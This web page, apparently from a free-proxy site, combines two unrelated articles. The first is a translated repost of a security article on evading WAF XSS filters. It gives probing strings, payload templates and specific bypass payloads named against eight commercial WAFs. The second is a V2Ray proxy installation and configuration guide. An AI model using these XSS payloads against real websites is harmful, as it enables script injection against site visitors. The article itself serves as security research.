看我如何绕过WAF的XSS检测机制(xss绕过方法)

注意:免费节点订阅链接已更新至 2025-11-13点击查看详情



概述

本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到最优的测试效果。接下来就是探测,这里涉及到根据目标所实现的安全机制来进行各种字符串测试,并分析目标的响应数据以便基于分析结果来做出安全假设。最后,根据分析结果来判断是否要对Payload进行混淆处理或结构调整。

致读者

本文假设读者对XSS、HTML和JavaScript已经有了基本的了解。

全文使用{string}来代表Payload机制中的组件。

全文使用{?string}来代表可选组件。

全文使用“主要字符”这个名词代表Payload中必须包含的字符。

作者建议使用URL编码来处理Payload中不安全的字符,例如“+”和“&”等等。

在探测过程中,建议使用无害的字符串来代替{javascript}。

介绍

XSS是Web应用程序中常见的漏洞之一,网站管理员可以通过用户输入过滤、根据上下文转换输出数据、正确使用DOM、强制执行跨源资源共享(CORS)策略以及其他的安全策略来规避XSS漏洞。尽管现在有很多预防XSS攻击的技术,但Web应用程序防火墙(WAF)或自定义数据过滤器是目前使用比较广泛的安全保护技术了,很多厂商都会利用这些技术来抵御新型的XSS攻击向量。虽然WAF厂商仍在尝试引入机器学习技术,但基于正则表达式的字符串检测方法仍是目前最广泛使用的技术。

本文提出了一种构造XSS Payload的新型方法,这种方法构造出来的XSS Payload可以绕过基于正则表达式匹配的安全机制。

HTML上下文

当用户的输入数据映射在Web页面的HTML代码中时,这种场景就是我们所谓的HTML上下文。HTML上下文可以根据用户输入在代码中的映射位置来进一步划分成:

1、 标签内:<inputtype=”text” value=”$input”>

2、 标签外:<span>Youentered $input</span>

标签外

在这种上下文场景中,主要字符“<”代表HTML标签的起始。根据HTML定义,标签名必须以字母作为开头,因此我们可以利用下面的规则来判断用来匹配标签名的正则表达式:

1、<svg – 如果通过,表明没有进行任何标签检测;

2、<dev – 如果无法通过,则为<[a-z]+;

3、x<dev – 如果通过,则为^<[a-z]+;

4、<dEv – 如果无法通过,则为<[a-zA-Z]+;

5、<d3V – 如果无法通过,则为<[a-zA-Z0-9]+;

6、<d|3v – 如果无法通过,则为<.+;

如果上述方式均无法探测成功,则说明目标站点部署的安全机制无法被绕过。这种方式的假阳性率非常高,因此不鼓励使用。如果上述探测方式有一个可行,那么可用来构造Payload的机制就非常多了。

Payload机制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF} 

找到{tag}的合适值之后,就需要猜测用于匹配标签和事件处理器间数据过滤器的正则表达式了。这一步可以使用下面的探测机制来实现:

1、<tag xxx – 如果无法通过,则为{space};

2、<tag%09xxx – 如果无法通过,则为[\s];

3、<tag%09%09xxx – 如果无法通过,则为\s+;

4、<tag/xxx – 如果无法通过,则为[\s/]+;

5、<tag%0axxx- 如果无法通过,则为[\s\n]+;

6、<tag%0dxxx>- 如果无法通过,则为[\s\n\r+]+;

7、<tag/~/xxx – 如果无法通过,则为.*+;

这个组件(例如事件处理器)是Payload结构中最关键的部分。通常,匹配它的是常规正则表达式(例如“on\w+”)或黑名单(例如“on(load|click|error|show)”)。第一个正则表达式非常严格,很难绕过,而基于黑名单的模式可以通过不常用的事件处理器来绕过。安全机制的实现类型可以通过下面两种简单的方法来识别:

1、<tag{filler}onxxx – 如果无法通过,则为on\w+。如果通过,则为on(load|click|error|show);

2、<tag{filler}onclick- 如果通过,则表明没有事件处理器检测正则表达式;

下面是一些防火墙黑名单中没标记的事件处理器:

onauxclick ondblclick oncontextmenu onmouseleave ontouchcancel 

常用的Payload结束符如下:

<payload> <payload <payload{space} <payload// <payload%0a <payload%0d <payload%09 

Payload机制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF} 

使用了<object>标签的Payload可以利用下面的Payload机制来构建:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF} 

Payload机制#3

这种Payload机制有两种形式:明文或混淆处理。

明文结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF} 

混淆处理后的Payload结构如下:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF} 

JavaScript上下文

Payload机制#1

{quote}{delimiter}{javascript}{delimiter}{quote} 

可用的Payload有:

'^{javascript}^' '*{javascript}*' '+{javascript}+' '/{javascript}/' '%{javascript}%' '|{javascript}|' '<{javascript}<' '>{javascript}>' 

Payload机制#2

{quote}{delimiter}{javascript}// 

可以使用下列Payload机制来构建Payload:

'<{javascript}//' '|{javascript}//' '^{javascript}//' 

防火墙绕过

在研究过程中,总共绕过了八款WAF。下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术:

WAF名称:Cloudflare

Payload:<a”/onclick=(confirm)()>click

绕过技术:非空格填充

WAF名称:Wordfence

Payload:<a/href=javascript&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Barracuda

Payload:<a/href=Java%0a%0d%09script&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:Comodo

Payload:<d3v/onauxclick=(((confirm)))“>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:ModSecurity

Payload:<details/open/ontoggle=alert()>

绕过技术:黑名单中缺少标签或事件处理器

WAF名称:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆

参考资料

HTML规范:【https://www.w3.org/TR/html52/】

数字字符引用:【https://en.wikipedia.org/wiki/Numeric_character_reference】

* 参考来源:s0md3v,FB小编Alpha_h4ck编译,转载自FreeBuf.COM

深度探索V2Ray代理工具:从官网获取到完美配置的全流程指南

一、V2Ray技术解析与核心价值

在网络自由与隐私保护需求日益增长的今天,V2Ray作为新一代代理工具的代表,以其模块化设计和多协议支持的特性脱颖而出。不同于传统VPN的单一隧道模式,V2Ray采用独创的VMess协议(可动态更换的加密通信协议),配合TCP/mKCP/WebSocket等多种传输方式,能有效对抗深度包检测(DPI)。其开源特性(GitHub项目超50k星)确保了代码透明度,而内置的流量混淆功能(如TLS伪装)更使其成为突破网络限制的利器。

值得关注的是,V2Ray采用"路由-出站-入站"三级架构设计,用户可通过精细化的路由规则实现分应用代理、广告拦截等高级功能。这种技术先进性使其被Shadowsocks原开发团队推荐为继任方案,在技术社区形成"V2Ray生态圈",衍生出NekoRay、Qv2ray等数十款图形化客户端。

二、官网资源获取与版本选择策略

访问V2Ray官网(通常为v2fly.org或社区维护镜像站)时,新手常会困惑于多个下载入口。核心资源区包含:
1. 核心程序包:含v2ray-core的压缩包(Windows为zip,Linux则提供deb/rpm/pkg等格式)
2. 图形化客户端:推荐第三方开发的V2RayN(Win)、V2RayX(Mac)等,显著降低使用门槛
3. 规则数据库:含geoip.dat和geosite.dat,用于实现智能分流(中国直连/境外代理)

版本选择需注意:
- 稳定版(Stable)适合普通用户
- 测试版(Beta)包含实验性功能如WireGuard协议支持
- 历史版本(Archive)用于特殊兼容需求

官网的"白皮书"板块详细解释了VMess协议的时间戳认证机制,而"配置生成器"工具可一键生成含UUID、alterId等关键参数的JSON配置文件,极大简化部署流程。

三、跨平台安装实战详解

Windows系统安装(以V2RayN为例)

  1. 从GitHub发布页下载含VC++运行库的完整安装包
  2. 安装时需关闭杀毒软件(易误报内核文件)
  3. 首次运行需导入订阅链接或手动配置服务器
  4. 右键托盘图标启用"系统代理"和"PAC模式"

macOS系统配置技巧

使用Homebrew安装更便捷:
bash brew tap v2ray/v2ray brew install v2ray-core
推荐搭配ClashX Pro实现规则可视化编辑,通过"策略组"功能可实现自动选择延迟最低节点。

Linux服务器部署进阶

Docker部署方案适合长期运行:
docker docker pull v2fly/v2fly-core docker run -d --name v2ray -v /etc/v2ray:/etc/v2ray -p 443:443 v2fly/v2fly-core
配置Nginx反向代理可实现WebSocket+TLS伪装,提升抗封锁能力。

四、配置艺术与性能调优

基础配置完成后,高级用户应关注:
1. 传输协议优化
- 移动网络建议mKCP(抗丢包)
- 企业环境推荐QUIC(低延迟)
- 严格审查环境需启用WebSocket+TLS

  1. 路由规则定制
    json "routing": { "domainStrategy": "IPIfNonMatch", "rules": [ { "type": "field", "outboundTag": "direct", "domain": ["geosite:cn"] } ] }

  2. 性能监控

    • 使用v2ray stats API获取实时流量数据
    • 通过Prometheus+Grafana搭建监控面板

五、安全防护与疑难排错

常见故障处理表

| 现象 | 排查步骤 | 解决方案 | |-------|---------|---------| | 连接超时 | 检查防火墙规则
测试服务器端口连通性 | 修改传输协议
更换备用端口 | | 速度骤降 | 路由追踪检测链路
更换加密方式为aes-128-gcm | 启用动态端口
切换至BBR加速 | | 频繁断连 | 检查alterId是否与服务端匹配
验证时间误差是否在90秒内 | 同步NTP服务器
更新TLS证书 |

安全建议:
- 每月更换UUID(类似密码的标识符)
- 启用TLS1.3并禁用不安全的加密套件
- 配合iptables限制访问IP范围

六、服务商选择与生态工具

优质V2Ray服务商应具备:
- 提供VLESS协议支持(新一代轻量协议)
- 拥有ASN独立自治号(非租用IP段)
- 支持IPv6-only服务器

推荐工具组合:
- 客户端:Qv2ray(跨平台)+ v2rayA(Web管理界面)
- 检测工具:V2RayPing(节点延迟测试)
- 规则生成:Loyalsoldier/geoip(持续更新的路由规则)

技术点评

V2Ray的设计哲学体现了"对抗性网络"的先进理念——其协议层与传输层分离的架构,使得它如同网络空间的"变形金刚",能根据封锁策略动态调整形态。相较于传统代理工具,V2Ray的三大创新尤为突出:

  1. 元数据与数据分离加密:VMess协议对协议头和有效载荷分别处理,使得流量特征识别难度呈指数级上升
  2. 非对称负载均衡:通过mKCP协议实现类TCP重传机制,在30%丢包率下仍能保持流畅视频播放
  3. 生态兼容性:完美兼容Shadowsocks生态,支持Socks/HTTP等传统代理协议接入

不过其技术复杂性也带来使用门槛,这正是第三方客户端繁荣发展的契机。未来,随着Reality协议(无服务器端TLS指纹)的普及,V2Ray可能引领新一轮代理技术革命。用户在选择时应当理解:工具本身只是载体,真正的网络自由源于对技术原理的持续探索与合理应用。

版权声明:

作者: freeclashnode

链接: https://www.freeclashnode.com/news/article-1990.htm

来源: FreeClashNode

文章版权归作者所有,未经允许请勿转载。

免费节点实时更新

热门文章

最新文章

归档